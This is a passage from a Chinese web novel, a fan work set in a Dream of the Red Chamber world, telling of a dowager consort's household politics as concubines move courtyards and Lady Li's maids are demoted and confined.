她们都还年轻,最小的何氏才十七岁,最大的刘氏也不过二十出头。她们出身低微,也不懂什么琴棋书画,也不识字,看不懂话本子,除了做针线,几乎就没有可以消磨时间的爱好。 这年头也没什么别的娱乐活动,她们只能凑在一起聊天说话,但是匮乏的生活经历还有狭窄的消息来源,让她们连新鲜一点的话题都找不到。原本考虑过养个小猫小狗什么的。但是院子里还有两个孩子呢,还都是小姑娘家家的,万一被猫儿狗儿抓了咬了的,回头落下疤,那就是她们的不是。 如果搬到西院就不一样了,地方大了,人也多了。而且,她们也知道,太妃娘娘要她们过去,其实就是去给李氏添堵的。这还有什么好说的,她们差点都要闲得长毛了,有个乐子还巴不得呢! 以前李氏是有王爷撑腰,可现在李氏有什么?一个侧太妃的身份又比她们这些侍妾强多少?不都是妾嘛!何况,她们也就是斗斗嘴,又不会干别的什么事,李氏还能如何?她要是敢胡来,不还有太妃娘娘在吗? 想明白之后,三个人一下子就兴奋起来,忙着招呼丫头赶紧收拾东西,准备搬家。 “她们这一搬走,我们这边就又寂寞了!”周氏隔着窗户,听着斜对面屋子里明快的说笑声,对一边的黄氏说道。 黄氏的亲女儿就养在周氏膝下,两人关系也不错。黄氏也不觉得是周氏抢了她的孩子,她姿色寻常,原本在针线房做事,一次给风荷院这边送做好的衣裳时,遇上了喝醉的徒宏远,直接被拉上了床。就是那一次,黄氏怀上了。 黄氏因此成了正经的侍妾,私底下很多人都说她是故意勾引王爷,她也没法分辨。徒宏远自己也不喜欢她,要不是周氏想要将孩子养在膝下,大姑娘只怕生下来就要遭受父亲的无视乃至厌恶。而因为周氏的存在,大姑娘才能在府里有一定的地位。因此,黄氏一直对周氏很是感激,徒宏远没了也没影响她们的感情。 黄氏素来寡言,一时间也不知道如何安慰周氏,就听门帘被打起来的声音,陈氏带着一个贴身丫头走了进来。! 第 23 章 第23章 “怎么会寂寞,两个姑娘一天天大了,咱们的盼头还在后头呢!”陈氏却是一副喜气洋洋的模样。 陈氏当然很高兴,甚至,装也得装出一副高兴的模样来。前些日子,她就琢磨着该如何讨好太妃娘娘。毕竟,宗室里头对男丁的封爵卡得很紧,对宗女却没那么多限制。各家王府嫡女几乎都能封郡主,若是没有嫡女的,将庶女记在正妃名下,也能封一个郡主。 横竖名义上相同的品级,宗女要比同级的宗室男子俸禄要低上好几倍。另外,宗室里的男子,几代之内都能封爵,宗女就不一样了,也就是公主郡主的孩子还能封个低品的爵位,到了县主乡君,也就是有个好听的名头,出嫁的时候,宗人府按理给一笔钱做为嫁资,大头还是各家王府自个出。 陈氏就二姑娘一个女儿,她又不像是周氏,因为是徒宏远的第一个女人,得了许多贴补,在几个侍妾里头,是私房最丰厚的,还有个黄氏,原本就是绣娘出身,如今还经常做绣活,托了针线房的人卖到外头绣坊里头去,一年下来,也能挣到不少银子。 陈氏的手艺一般,也没这个耐心,没法靠这个挣钱。她自己也就罢了,府里的一应供给都不算少,可以说,对她们这些侍妾是仁至义尽。但是孩子不一样,她的女儿生得比大姑娘还出挑一些,从小看着就是个美人胚子。若是自己不争取,说不定女儿将来只能封个乡君。按照祖制,乡君出嫁有三百两银子的嫁资,现在京中流行厚嫁,三百两银子,连一套好一点的家具都打不起。王府能给多少嫁妆,到时候还是要看当家人的意思。当家人要是不喜欢,弄个面上光的嫁妆打发出去,也没人能指责什么。 陈氏想着,若是能讨了太妃欢心,哪怕太妃不愿意将女儿记在自己名下,只要准备嫁妆的时候稍微松松手,女儿的体面也就有了,不怕出嫁之后被夫家挑拣。 她现在恨不得跑到正院毛遂自荐,自己也可以搬到西院去住,她有个姑娘傍身,岂不比那几个连孩子都没有的更有底气? 只是她也怕马屁拍到马腿上,所以,这会儿就开始当着周氏和黄氏的面开始表忠心:“娘娘素来慈爱,这些年,要不是娘娘撑着,咱们哪个牌面上的人物,不知道要受多少委屈呢!如今娘娘还惦记着两个姑娘,我私心里头想着,咱们要不要带着姑娘去给娘娘磕个头?” 周氏也有些意动,先王爷已经不在了,府里就是娘娘说了算。先王爷以前倒是许诺过,等大姑娘大了,就想办法给她请封个郡主,但是这话也就是私底下说的,娘娘可不知道,自然不能作数。 她以前固然行事略微有些出格之处,别的不说,以侍妾的身份享受着侧妃的份例,也就是娘娘大度,没有追究!不过,她可从来没有对娘娘不敬过! 之前听说了先王爷的死讯,周氏就想要去顾晓那里投诚了,可惜的是,那会儿事情多得很,她跑过去纯粹是添乱。好容易王爷下葬了,回来娘娘又开始休养身体,更不好过去。 前些日子,周氏还跟黄氏合计 着给正院送了几样针线,正院收倒是收下了,反手一人赏赐了一匹料子,但是又没个明确的表态,她们难免心里没底。 这会儿借着这个机会,去正院请个安,似乎是个不错的机会。周氏遂道:“还是妹妹想得周全,不过娘娘慈悲,将咱们的请安都给免了。不如,咱们先派个人去正院那边说一声,免得回头反而扰了娘娘的清静!” 陈氏来就是找人一起背书的,这会儿赶紧点头说道:“姐姐说得是,不如就请姐姐身边的翠芳姑娘走一趟?” 周氏点了点头,当下招呼道:“翠芳,你这就去正院走一趟,就说我们明儿个去正院给娘娘请安!” 翠芳赶紧答应了下来,她紧了紧身上的小袄,又将裤腿扎了扎,这才快步往正院那边而去。去正院可是个好差事,娘娘素来手松,去一趟,怎么着都能得一把钱做赏钱呢! 翠芳缩着脖子疾走了一会儿才到了正院,对着门口守门的婆子赔笑道:“嬷嬷,奴婢是周太姨娘身边伺候的,周太姨娘、陈太姨娘和黄太姨娘明天想要来给娘娘请安,派奴婢过来先递个话,看看娘娘方不方便!” 守门的婆子也不为难她这样的小丫头,连忙说道:“这样啊,你也别急,这大冷天的,快来门口茶房喝口热茶,捂捂手,我这就叫人进去传话。” 顾晓正在屋里逗孩子,听到消息,沉吟了一下,笑道:“她们既然要来,就让她们吃过早饭再过来吧!那个传话的小丫头也辛苦了,赏她一串钱,回去买几个果子甜甜嘴!” 春燕笑道:“几位太姨娘都是感念娘娘的恩德呢,也就是西院那个,不识好歹!”说着,她还轻啐了一口。 顾晓笑道:“在我这里也就罢了,在外头可别这样,人家好歹也是上了玉牒的侧太妃呢!”她也就是嘴上这么一说,按照这时候的规矩,李氏的奴婢算是顾晓的奴婢,可顾晓的奴婢却不是李氏的奴婢。而且两人立场不同,只怕李氏那里也经常跟身边的丫头婆子骂自己呢,自己这边又有什么可客气的! “咱们只认娘娘一个主子,她又是哪个名牌上的人物呢!”几个丫头在一边跟着说笑起来。 …… 一夜无话,第二天一早,等着徒嘉钰和贾瑚用过了早饭到前头读书去了,吴嬷嬷才过来说道:“娘娘,几位太姨娘已经过来了,我安排了她们在偏厅那边等着,娘娘是到那边去,还是让她们过来?” 顾晓想了想,说道:“刚吃过饭,也该走动走动,也就几步路,还是我过去吧!” 原本以为来的就是周氏她们几个,结果刘氏她们三个也跟着一起过来了。 顾晓刚刚从屏风后面转出来,一帮侍妾就都起身行礼,连同年纪还小的大姑娘和二姑娘也被乳母或扶或抱起来行礼,奶声奶气地说道:“拜见娘娘!” 顾晓在上头坐了下来,这才笑道:“这般多礼作甚,都坐吧!怎么将两个姑娘也带来了,她们年纪还小,正是贪睡的时候,怎么不让她们多睡一会儿!” 周氏赶紧说道:“这些 日子天黑得早,大姑娘也睡得早,一早也就醒了,正好来给娘娘请安!” 陈氏也是说道:二姑娘也是一样,她现在虽说没断奶,却也更喜欢跟着我们这些大人吃,所以听见动静也就醒了,跟着我们吃了一碗蛋羹还有两块牛乳糕呢!?[(”陈氏打听到正院这边三公子已经开始吃辅食了,特特将这事拿出来说。 果然顾晓笑道:“小孩子嘛,就喜欢吃大人饭。到了这个年纪,奶水也填不饱肚子,正该多添一些正经吃食的时候!” 陈氏连连点头:“娘娘说的是,如今除了跟着我们吃之外,还得吃两顿点心,娘娘看看,这丫头都胖成什么样了!” 顾晓安慰道:“小孩子胖一点好,看着就有福气!等天暖和起来,人活动也方便,到时候多走几步,也就瘦下来了!” 眼看着陈氏带着二姑娘讨了顾晓欢心,周氏也急了,赶紧说道:“大姑娘如今也懂事了,还帮着我们两个姨娘分线呢,昨儿个还大了个络子,说是要送给娘娘呢!”说着,就从袖子里摸出一个柳叶青的络子来。 春晓接了络子双手奉给顾晓,顾晓接过来一瞧,就是普通的方胜图样,不过显然也不是小孩子能打出来的,顶多就是抓着孩子的手打了几个结而已。不过,面上顾晓却是笑道:“哎呦,真是辛苦大姑娘了!依我的意思,咱们这样的人家,女红针凿之事无非就是锦上添花而已,乐意了,动两针,不乐意了,叫下头人做便是,要不然养着那么多针线上人做什么!就是将来出了门子,难不成还得她们做针线补贴家用?大姑娘还小呢,没事玩玩可以,不必在这事上多费心。回头我叫人打听一下,有没有合适的女先生,延请回来教导她们!” 周氏、黄氏、陈氏都是又惊又喜,连忙又是起身谢恩,顾晓笑道:“这是做什么,两个姑娘难道不是我的女儿?之前就说了,正在家下挑选合适的人,到时候每个姑娘四个教引嬷嬷,两个一等丫头,四个二等,再给配八个粗使的小丫头,这般一脚出,八脚迈,才是大家的气派,不叫人小瞧了去!” 两个小丫头尚且懵懂,就又被折腾着给顾晓行礼,好在她们的确乖巧得很,即便是才三岁的二姑娘也没闹腾起来。 刘氏她们也跟着凑趣,没口子地奉承顾晓宽仁慈爱。 顾晓看着她们,说道:“之前也问过你们是个什么打算,你们都说要留在府里守着,既是如此,自然不能委屈了你们,要不然以后我也没法跟王爷交代!西院那边我已经吩咐下来了,将东厢房收拾出来,你们回头自个去挑屋子。若是有什么缺的,尽管说,也好叫下头人赶紧补上!” 刘氏她们赶紧起身谢道:“娘娘思虑周全,妾身难报万一!” 顾晓摆了摆手:“你们过得好,就是对我的报答了!”说着,又叫人将早就准备好的赏赐分派下去,每人两匹料子,一套素面银头面,又给了两个姑娘同样一人一套银头面,一套青玉头面,另有两个银镯子,两个银项圈,正好可以在孝期使用。 顿时,又是一番感恩戴德之声。! 第 24 章 第24章 正院欢声笑语,西院却是怨气冲天。 李氏这么多年独享西院,早将这里视作是自己的地盘,自己就是西院绝对的女主人。结果,顾晓一传话,她就得老老实实将东厢房让出去,这简直让她差点没气得七窍生烟。 可问题是,她根本没有反对的余地。说白了,这个家真正的主人不是她,以前徒宏远的偏宠让她生出了自己也能当家做主的错觉,可是如今谁还惯着她!别说是王府了,便是皇宫里,新君登基,以前的宠妃都得包袱款款去跟那些小妃嫔挤一块去,便是太后,也就是能占据慈宁宫的主要地盘,其他地方也还得分出来给那些太妃太嫔。要不然,新君的妃嫔往哪儿塞呢! 以前顾晓懒得管李氏在西院干什么,这让李氏愈发胆气壮了起来,如今人家轻飘飘一句话,她这个院子就不再独属于她了! 同样怨恨的还有西院的一帮下人。 以前西院的丫头婆子都住得很宽敞,李氏四个大丫头,金珠、银珠、玉珠、珍珠,不当值的时候都能独居一间屋子,除了面积小了一点,这待遇几乎赶得上刘氏她们了。二等丫头,也能两人一间,三等粗使的说是睡大通铺,其实一间最多也就是住个五六个人,正常其实只有四个人。以至于西院的倒座房几乎就是不住人的,直接拿来当库房使。 这下一下子将东厢房都分配出去,原本住在东厢房的几个一等二等的丫头就得搬出去,她们自然是不肯搬到低矮逼仄的倒座房的,只能是逼着三等的丫头让地方。 之前顾晓清理府里多余的人手,李氏硬是不肯将任何一个人放出去,以至于她这边其实伺候的人是超标的,之前觉得如此有排场,如今就发现有些挪腾不开。 若是徒宏远还在,大家还觉得有盼头,那么一时憋屈,下头人都是能够忍耐的。偏生如今李氏这里俨然已经快变成深坑了,压根没有所谓的前途可言。伺候徒嘉泽的,还有机会等徒嘉泽大一点跟着搬到外院去,运气好,将来徒嘉泽分出去,也能跟着做个管事奶奶,但是伺候李氏的,日子可以说是已经一眼望得到头。 虽说一等丫头一个月有一两银子的月钱,待遇比起外头的人不知道强出多少。可问题是,你二十出头还能勉强继续做一等丫头,二十五六总不能继续做吧!到了年纪,要么就是嫁人,要么就是自梳留在府里做嬷嬷。 可问题是,西院这边可没几个嬷嬷的名额,而且她们身上早就打上了李氏的标签,其他人那里铁定是不要她们的,总不能临到这个时候,反而只能在府里做粗使,那不是越过越回去了。而嫁人也是一样,正院那边的大丫头有主子撑腰,怎么着都能嫁个管事,再回来伺候也是管事娘子,她们可没这样的运气,说不定直接就被随便找个家仆给嫁了。 好在李氏这么多年,也养出了一些积威,人家好歹是正经的侧太妃,她们这些做奴婢的可是得罪不起的,因此,尽管心中各种不满,还是忍着气,开始搬家。 院子里那些粗使的丫头婆子被使唤得团团转 ,要将几个没放什么东西的倒座房打扫出来,归置家具,然后将他们的东西搬过去。结果打扫的时候就发现坏了,她们之前睡的大通铺其实是火炕,几个人的炭凑一块,将将够用。可倒座房可没有火炕,搭几张床倒不是什么困难的事情,可这样的话,屋里取暖只能用火盆,显然不如炕暖和。 几个小丫头不敢吱声,只能一边打扫,一边抹眼泪,想着实在不行,将大家伙的铺盖凑一凑,晚上再挤一挤!几个婆子可就不干了,当下就将扫帚抹布一扔,在院子里高声嚷嚷起来。 ?微云烟波提醒您《红楼太妃要躺平》第一时间在[]更新,记住[( 李氏本来就在屋里生闷气,徒嘉泽这会儿又因为总是待在屋里,觉得无聊,闹腾着想要人抱他出去玩。他身体弱,这外头天寒地冻的,李氏哪敢叫他出去,只能翻出了一大堆玩具哄着他。结果他本来性子就有些骄纵,这会儿愈发起了性子,抓着什么九连环、玉鸠车,小泥人就到处乱扔,只将几个泥人还有玉鸠车给摔得四处都是。 李氏舍不得骂儿子,只能骂徒嘉泽的乳母和丫头:“都干什么吃的,不知道哄一哄二公子吗?” 乳母和丫头只能硬着头皮,想方设法地哄徒嘉泽开心。 李氏还没缓口气,就听到外面几乎如同唱念做打一般的吵闹声:“真是活不下去了啊,明明这么多的屋子,非得将我们这些老婆子往后头撵,那也就罢了,连个正经的床炕也没有,这大冬天的,分明是想要我们的命啊……” “大家梅香拜把子,都是奴才秧子,你们这些一等二等的,也忒欺负人了一些,府里头正经的主子也不过就是一间屋,你们竟是也要占一间,以为自己是哪个牌面上的人物啊!” “娘娘哎,奴婢们这么多年辛苦,没有功劳也有苦劳吧,您就这么看着身边的丫头欺负我们这些老婆子啊……” 就像是后世,职场上闹腾的要么就是不缺钱的,要么就是工资低的,因为再坏也坏不到哪里去了。 她们这些粗使婆子几乎就是府里的底层了,刚进来的小丫头都比她们体面,因为小丫头还有上进的空间,她们却是没有的。她们一个月也就是三五百钱的月钱,平常也用不着她们跑腿,自然也轮不到她们拿什么赏钱。 府里头之前改了规矩,多劳多得,干得好就有奖励,她们一些老姐妹原本就是花园洒扫的,就因为花园打扫得好,一个月能多拿一两百个钱呢!可西院这边还是老一套,每次都是账房将所有人的月钱送到西院,然后几个大丫头分下来,就算是有额外的好处,也落不到她们手里。 她们早就想要另投明主,正好趁着这个机会撕吧开来。 李氏越听越是生气,她本来也算不得什么大家闺秀,自然也没培养出多好的涵养来。以前是大家都捧着她,没人在她那里说什么不好听的话,她自然能心平气和。如今,几个看门烧茶扫地的婆子都敢蹬鼻子上脸了,李氏顿时火冒三丈,当下直接起身,隔着帘子就骂了起来:“难不成是我要你们搬家的,要不是太妃娘娘硬是要将那几个贱蹄子塞过来,用得着你们在这儿折腾!你们倒好,不敢骂别人, 反倒是在我这边骂骂咧咧!可是眼看着我这边落魄了,准备攀高枝了?我告诉你们,你们这帮下贱的婆子,不想干的话,正好滚蛋,我这边少养几个人,还清静了呢!” 李氏“噼里啪啦”一番痛骂,倒不是没道理,可还是那句话,风向变了啊! 如今府里头哪有谁敢得罪正院,上次那一番动作,大家还记得清清楚楚呢,连同先王爷的奶兄弟也是说撵就撵,好几个大小管事,直接被抄了家,一大家子除了身上穿着的衣服,就这么出府了!说是放良,可外头良民是那么好当的吗?他们这种明显是犯了事被撵出去的奴仆,想要找个合适的活计都费事! 所以,哪怕明知道是正院那边故意恶心西院,但是她们依然不敢怨恨正院,甚至明面上也不敢怨恨惹毛了正院的李氏,反而将矛头对准了几个大丫头。 一个婆子壮着胆子说道:“娘娘,咱们也不是埋怨您,可如今胳膊拧不过大腿,该搬的确是得搬!可咱们院屋子也不算少,稍微挤一挤,西厢房又不是住不下,这非得将咱们这些老骨头撵后头去,咱们本来一个月就没多少炭,再连个炕都没有,这不成心想要冻死我们几个嘛!娘娘您发发慈悲,就让我们留在西厢房吧,哪怕屋里多住几个人呢!” 李氏顿时有些动摇,横竖也不影响她什么,她倒是不介意做这个顺水人情,结果一边伺候的金珠银珠她们几个可就不干了,她们这几个大丫头早就习惯一人一个屋,正好可以摆箱笼,衣裳铺盖还有积攒下来的私房都可以好生收起来,若是跟别人同住,摊上个爱贪小便宜的,偷偷用她们的头油面脂,可就叫人不舒服了! 金珠压低了声音说道:“娘娘,她们这是存心挑事呢!依我看,她们就是觉得娘娘失势了,就想要踩了娘娘的脸面,好去正院卖好!” 银珠也跟着说道:“还什么火炕,她们这些婆子在门口值夜的时候,也就一个炭盆,也没冻着,如今倒是身娇肉贵起来了,简直是不要脸!” 玉珠更是诋毁起来:“娘娘,我可是听说,这些婆子平时就手脚不干净,以前分开住,她们也就是互相祸害,真要是凑到一块,那些小丫头子,岂不是要被她们祸害惨了!” 珍珠倒是没吭声,她姨妈就在府里头做婆子呢,不过是在洗衣房那边,过得很是辛苦,以前她还想着借着主子的势给自个姨妈换个轻省一点的差事,如今根本没法开这个口。 李氏不是个心志坚定的人,耳根子软,被几个贴身丫头这么一说,立马就觉得不能受这些婆子威胁,不过,她这会儿也回过神来,刚才不该亲自上阵,跟那些婆子对着骂,太掉价了,因此吩咐道:“既然如此,去告诉她们,要么老老实实搬家,要么就滚蛋,我这里,供不起她们这些大佛!” 金珠掀了帘子出去传话,顿时,几个婆子都跳起脚来:“娘娘不公,咱们去找太妃娘娘评理去!”! 第 25 章 第25章 正院此时已经散了,一干侍妾各自回了自己屋子,她们也得忙着张罗搬家的事情,还得凑一块,讨论一下如何在保护好自己的情况下,尽可能恶心李氏,好叫太妃娘娘舒心。 因为赏赐的东西比较多,所以她们回去的时候,顾晓还叫下头的人帮着送了一程,这些人自然带着几个侍妾感恩戴德表忠心的话回来了,这会儿就在给顾晓复命。 春燕笑道:“娘娘这般赏赐,谁不乐意呢,回头啊,娘娘可就有好戏看了!” 顾晓摇头说道:“她们也是可怜人,王爷没了,又没个孩子,年纪轻轻的,就得在府里头守着,这辈子都难得看到外面是个什么样!我这边料子放着也是朽了,给她们也能让她们日子松快一些!” 顾晓是真心这么想的,她上辈子该见识的也见识了,996了多少年,虽说混得不错,但是也落下个各种毛病,如今白捡一个年轻的身体,还天降富贵,她自然是不想再折腾,只要好好享受生活就好。可那些侍妾可没这样的运气,也就是顾晓不在意,换做是其他王府,直接打发到庙里做姑子也是寻常。饶是如此,顾晓若是不发话,她们连院门都不得出,一辈子困在那么点大的院子里,又没有别的指望,只能是无声无息地枯萎。 春香她们跟着恭维道:“娘娘心慈,是咱们这些人的福气!” 这边正说着话,那边就有人在门口传话:“娘娘,西院又几个婆子吵吵嚷嚷过来了,说是要跟娘娘告状呢?” 顾晓顿时来了兴趣,笑道:“这倒是奇了,别的不说,李氏怎么会让她们跑这儿来?” 春雨抿嘴一笑:“换做是普通的丫头,肯定是出不来的,可是,这些婆子原本就是西院守门洒扫的,她们想要跑出来还不容易!” “叫她们进来吧,问问是怎么回事?”顾晓琢磨着以后可以叫人多盯着些西院的动静,以后那边乐子大概不少呢! 几个婆子被带进了屋里,却没能进里屋,老老实实跪在那里,隔着门等着顾晓问话。 顾晓坐在那里,手里捧着一杯普洱茶,呷了一口,便将茶盏放了下来,这才慢悠悠问道:“你们不好生在西院当差,吵吵嚷嚷跑正院来作甚?” 几个婆子互相使了个眼色,最边上一个低着头说道:“回娘娘的话,奴婢等人就是觉得侧太妃处事不公,来求娘娘给咱们做主!” “侧太妃怎么就处事不公了?”顾晓垂下眼睛,漫不经心地问道。 那婆子早就想好了说辞,说道:“娘娘素来慈悲,便是咱们这些粗使的婆子,冬天一天也有四斤的粗炭,我们老姐妹几个,以前就是住在一块,大家合起来烧炕,一个月下来还能略多出一些来!可如今,就因为那几个大丫头,一人想要占一个屋子,硬逼着我们去后头倒座房住。倒座房可没有火炕,只能用火盆,炭可就不够用了!她们倒好,原本就要轮着给主子值夜,不用自己烧炭,自然不怕炭例不够!” 另一个婆子壮着胆子插口道:“她们几个大丫头 ,一年里头大半年都住在主子那里,宁可叫屋子闲着,也不肯别人住进去,咱们几个虽说只是粗使的,可也不能这么欺负人吧!” 顾晓皱起眉头,说道:竟有这般事,李妹妹御下也太宽和了些,竟是将丫头当做小姐养着了!府里头正经的姑娘才住多大的地方,她们几个做丫头的,倒是先享受上了!?_[(” 这话一说,几个婆子都是喜形于色,眼巴巴地等着顾晓惩治那几个小蹄子。 顾晓果然没有让她们失望,直接吩咐道:“这几个丫头是心大了,李妹妹念旧,舍不得,那我就帮她做个恶人。将她们几个降为二等留用,另择了得用的伺候李妹妹!若是还敢调三弄四的,就叫她们爹妈将人领回去!” 至于这几个婆子,搞出这样的事情来,想来在西院也待不下去了,她们既然给了顾晓一个插手西院人事的理由,那顾晓自然要投桃报李,干脆就说道:“你们也是受了委屈,这样吧,就多给你们一个月月钱,另外,去找刘管事,就说我说的,让他给你们换个差事!” 几个婆子连连磕头:“多谢娘娘恩典,奴婢回去之后定然早晚上香祷告,求老天爷保佑娘娘长命百岁,福寿不绝!” 几个婆子拿着赏钱乐滋滋走了,西院那边得知了顾晓的吩咐之后,一下子就炸开了锅。 “娘娘,你要给我们做主啊!”金珠等人根本没想到,最后板子落到了她们几个人的头上,一下子都慌了。大丫头和二等丫头差距还是很明显的,别的不说,大丫头一个月是一两银子,二等丫头却是一吊钱,按照官方的汇率,一两银子就是一吊钱,实际上,这年头因为制钱质量比较低,所以外头钱庄一两银子多的时候能兑1500文钱。这也罢了,关键是,一等才直接对李氏这个主子负责,二等却是干的是具体的事务,不仅比之前更辛苦,还要担负更多的责任。 李氏愈发觉得自己是被针对了,她本就不是什么有主意的人,这会儿也忍不住哭了起来:“王爷,你怎么就这么早就走了,如今留下我被人欺负,连个丫头都保不住!” 她这边哭,那边就有几个小丫头眼珠子滴溜溜直转,她们可是听说了,之前那几个婆子去告了一回状,一下子就从西院调了出去,还额外得了一个月的月钱,这就是现成的榜样,自然有许多人想要效仿。 果不其然,不多久,就有两个小丫头偷偷摸摸从后门跑了出去。 顾晓听到消息,只觉好笑,她忍不住看向了吴嬷嬷:“我记得以前李氏也不算什么蠢人啊,怎地如今竟是这般做派!” 吴嬷嬷不以为然地说道:“娘娘,您是当局者迷!实际上,侧太妃才是个什么出身,李家小门小户的,要不是有了先王爷这么个外甥,只能在乡下做个土财主。他们这样的人家,能养出多出挑的人来!侧太妃本来就是个眼皮子浅的,以前无非是先王爷给她撑腰,什么都不要她费心,先王爷就都给她准备好了。她有宠爱,有孩子,下头的人自然有忠心,就算是有什么不妥当的地方,下头伺候的人也知道遮掩,不叫咱们知道!这 人往高处走,水往低处流。您瞧瞧,如今都不用咱们特意派人盯梢,西院伺候的人自个就开始反水了!” 顾晓回忆了一下原身对李氏的印象,想想还真是如此,因此不由笑道:“却是我想差了!难怪她要哭呢!” 吴嬷嬷狠声说道:“她有什么好哭的,做了这么多年侧妃,已经是用尽了几辈子的造化!原本做王爷的表妹,嫁个正经的人家做个正头娘子,王府也会给备上一份厚厚的陪嫁,将来也能诰命加身。便是王爷不在,娘娘又一向是个怜贫惜弱的,他们李家人求上门来,娘娘难道还会当做没看见不成!本就是他们李家自个将事情做绝了,前些年,娘娘多难啊,要不是娘娘是圣上赐婚,又先有了小王爷,先王爷能捧得她踩到娘娘头上去!” 顾晓见吴嬷嬷这般神情,也是一叹,握住她的手,说道:“嬷嬷,都已经过去了,现在,可不就是苦尽甘来了吗?所以啊,咱们也犯不着再跟这些人置气,把自己的日子过好,才最是要紧!” 吴嬷嬷眼圈已经红了,从腋下抽出帕子,擦了把眼泪,才说道:“娘娘宽和,可我是个心眼小的,如今瞧着她过得不好,我就是痛快!” 顾晓赶紧说道:“既然如此,那就劳烦嬷嬷跑一趟,就跟李氏说,她自个管不好自己的院子,我才帮她这一把,叫她别难过,以后再有丫头犯上,她要是下不了这个狠心,我还给她做这个恶人!” 这纯粹就是杀人诛心了,吴嬷嬷一听就乐了,当下雄赳赳,气昂昂,口中说道:“那奴婢就替娘娘走这么一趟,也好多‘宽慰’侧太妃一番!” 这天寒地冻的,天又不早了,顾晓连忙叫了两个小丫头跟着吴嬷嬷一块过去。 吴嬷嬷带着人到西院的时候,李氏还在哭呢,这会儿还升级了,搂着徒嘉泽一块哭,弄得徒嘉泽也跟着嚎了起来:“王爷,你怎么不把我们娘俩一块带走算了,如今我们孤儿寡母的,都要被人逼到家里来了!” 吴嬷嬷是顾家的家生子出身,何曾听过这等类似于乡下人哭丧的话,这会儿听得直皱眉,然后就是厉声喝道:“侧太妃娘娘,您现在可不是什么乡下妇人,那是上了皇家玉牒的人物,怎地像个泼妇一样,成何体统!” “我都被人欺负成这个样子了?还要什么体统!”李氏这会儿也是破罐破摔,朝着吴嬷嬷就吼道。 吴嬷嬷冷笑一声:“侧太妃娘娘说自己受了欺负,不如好好跟奴婢说一说,这是受了什么欺负?免得大家伙都摸不着头脑,还真当府里头亏待了侧太妃呢!”! 第 26 章 第26章 李氏根本没有意识到吴嬷嬷其实在给她挖坑,她以为的那些委屈,其实几乎都算得上她僭越的证明。 因此,李氏还在那里叫嚷:“这还不欺负我啊!我好好地在西院住着,王爷在的时候都说了,西院就是我的,不会再叫别人住进来,结果王爷尸骨未寒,娘娘就一下子塞了几个人过来碍眼!” 吴嬷嬷冷笑道:“侧太妃娘娘慎言,你说先王爷允诺了将西院留给你,可有什么凭据?难不成先王爷还专门给你办了张房契不成?若是有的话,侧太妃娘娘就拿出来,那我们娘娘二话不说,以后,这西院就侧太妃娘娘一人做主!” 李氏顿时傻眼了,什么房契,这不是开玩笑嘛!这也就是两人私底下亲热时候的私房话,也就是伺候的丫头知道一些,但是,她这几个丫头作证,谁肯信呢! 李氏有些气馁,她咬牙道:“那二公子呢?我这边难道都不能将东厢房留给二公子吗?还有,凭什么处置我身边几个丫头,她们单独住,是我允许的!” 吴嬷嬷愈发淡定起来,她甚至饶有兴致地用手指抚了抚袖口,似乎袖口有什么新奇的花样一般,口中说道:“侧太妃娘娘,二公子虽说现在养在您身边,但那是娘娘给您的恩典,让您替娘娘照顾二公子!二公子终究是男儿,大了之后,便是每日里晨昏定省,也是先去娘娘那里,娘娘允许了,才能来给侧太妃娘娘请安,又怎么谈得上住您院子里!男女七岁不同席,咱们王府,更是不能乱了规矩!至于侧太妃娘娘身边几个丫头,娘娘也说了,家里正经的姑娘才住多大地方,她们这些做丫头的倒是一人一间屋了,岂不是以后还要爬到主子头上去!这等目无尊卑,不知进退的丫头,若是占据着一等丫头的位置,岂不是叫人笑话!娘娘知道侧太妃念旧,下不了手,这才帮侧太妃一把,侧太妃不但不领情,还说出这样的话来,这就要让娘娘怀疑,叫侧太妃继续抚养二公子,是不是明智了!” 没了徒宏远,徒嘉泽就是李氏唯一的软肋!她还想着等徒嘉泽分家开了府,跟着徒嘉泽出去做老太君呢,若是被顾晓将徒嘉泽夺走,徒嘉泽如今年纪小,几年之后,谁还记得生母是谁,到时候,她这个所谓的侧太妃又算得了什么! 李氏惊叫起来:“二公子是我生的,凭什么不让我养?” 吴嬷嬷用一种奇异的眼神看着李氏,看得李氏愈发惊慌起来:“侧太妃,您看看,您头上还顶了个侧字呢!所谓的侧,其实不还是个妾嘛!做妾的,就算是生孩子,那也是替家里主母生的,二公子那就是娘娘的儿子,不过是借了你肚子而已!以前是娘娘宽和,觉得孩子还是跟着生母好,如今侧太妃这般不晓事,回头带坏了二公子,那娘娘可怎么给先王爷交代呢?” 李氏听着,愈发惶恐,一时间不知道该说什么好,只能是嚎啕大哭,徒嘉泽年纪小,也听不明白这些话,这会儿也哭得更厉害了! 吴嬷嬷丝毫没有欺负人的感觉,前些年的时候,就因为他们母子,自家娘娘受了多少气,背地里头流了多 少泪啊!风水轮流转,如今这般,也是他们自找的! 吴嬷嬷也懒得继续跟李氏说什么,直接看着金珠她们几个,喝道:“娘娘将你们贬为二等,已经是网开一面,你们不感恩戴德,反倒是还在侧太妃耳边调三斡四的,看起来,这二等也是不想当了!” 说着,吴嬷嬷直接吩咐道:“先将她们几个关起来,等回了娘娘,再做处置!” 几个膀大腰圆的婆子应声而来,立马生拉硬拽,推推搡搡,将金珠、银珠她们四人往门房那边拖去,珍珠本来也没挑事,这会儿还想要喊冤,却被一个婆子直接拿了擦栏杆窗台的抹布往嘴里一塞,顿时说不出话来。 她们几个原本作为李氏的大丫头,在府里颇有体面,李氏固然悭吝,徒宏远却是个体贴的,每每会帮着她赏赐一下身边伺候的人,因此,她们一个也是穿金戴银,如今哪怕府里还在守孝,不能穿绸,却也穿的上等的松江布,里面絮的也不是棉花,而是丝绵,头上戴着小银钗,腕上也戴着素面的银镯,外头小康人家的女儿,也比不得她们这般身娇体贵。 如今被几个婆子弄得袄裙凌乱,发髻半散,看着狼狈不堪。但是下头那些小丫头却并无多少感同身受,反而颇有些幸灾乐祸。 说白了,府里的好位置那是一个萝卜一个坑。之前听说她们被贬为二等,要从二等里头挑出四个人补为一等的时候,一帮二等丫头已经是喜出望外,琢磨着走谁的门路,能捞到这样的好处了,她们现在又犯了错,只怕连二等也当不了了,岂不是还又空出了四个二等的名额?如此,除了那些粗使丫头之外,几个自觉有资格的小丫头也心思活泛起来。 顾晓那边也干脆,既然不服气,那就让她们爹妈把人领出去好了。正好她们年纪也大了,到了配人的年纪,就让她们爹妈做主嫁人便是。 